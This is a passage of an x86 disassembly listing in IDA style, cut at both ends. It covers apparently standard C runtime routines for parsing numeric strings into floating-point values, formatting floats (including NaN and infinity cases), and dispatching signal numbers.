		jmp	short loc_4251D0
; ---------------------------------------------------------------------------

loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi

loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245

loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------

loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi

loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump

loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C

loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------

loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_441DB8
		jnz	short loc_42527B

loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------

loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------

loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------

loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265

loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_441DB8
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324

loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564

loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265

loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_441DB8
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9

loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3

loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_441DB4, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------

loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_441BA8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------

loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]

loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------

loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_441DB8
		jnz	short loc_4253E6

loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F

loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------

loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_441DB4, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------

loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_441BA8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl

loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------

loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------

loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_441DB4, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------

loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_441BA8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------

loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487

loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567

loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------

loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8

loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------

loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------

loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490

loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9

loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax

loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------

loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567

loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7

loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax

loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------

loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi

loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_441DB4, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------

loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_441BA8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------

loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h

loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi

loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_441DB4, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------

loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_441BA8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------

loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------

loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx

loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]

loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------

loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]

loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647

loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------

loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax

loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]

loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]

loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1

loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]

loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------

loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------

loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------

loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1

loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------

loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h

loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E

loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------

loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776

loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------

loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------

loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"

loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx

loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------

loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"

loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------

loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx

loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------

loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]

loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi

loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8

loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893

loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886

loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx

loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]

loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D

loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------

loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914

loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]

loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]

loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0

loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]

loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------

loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916

loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h

loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------

loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4E0E2C
		mov	eax, offset dword_4E0E2C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4E0E28
		mov	eax, offset dword_4E0E28
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4E0E30
		mov	eax, offset dword_4E0E30
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4E0E24
		mov	eax, offset dword_4E0E24

loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------

loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2

loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
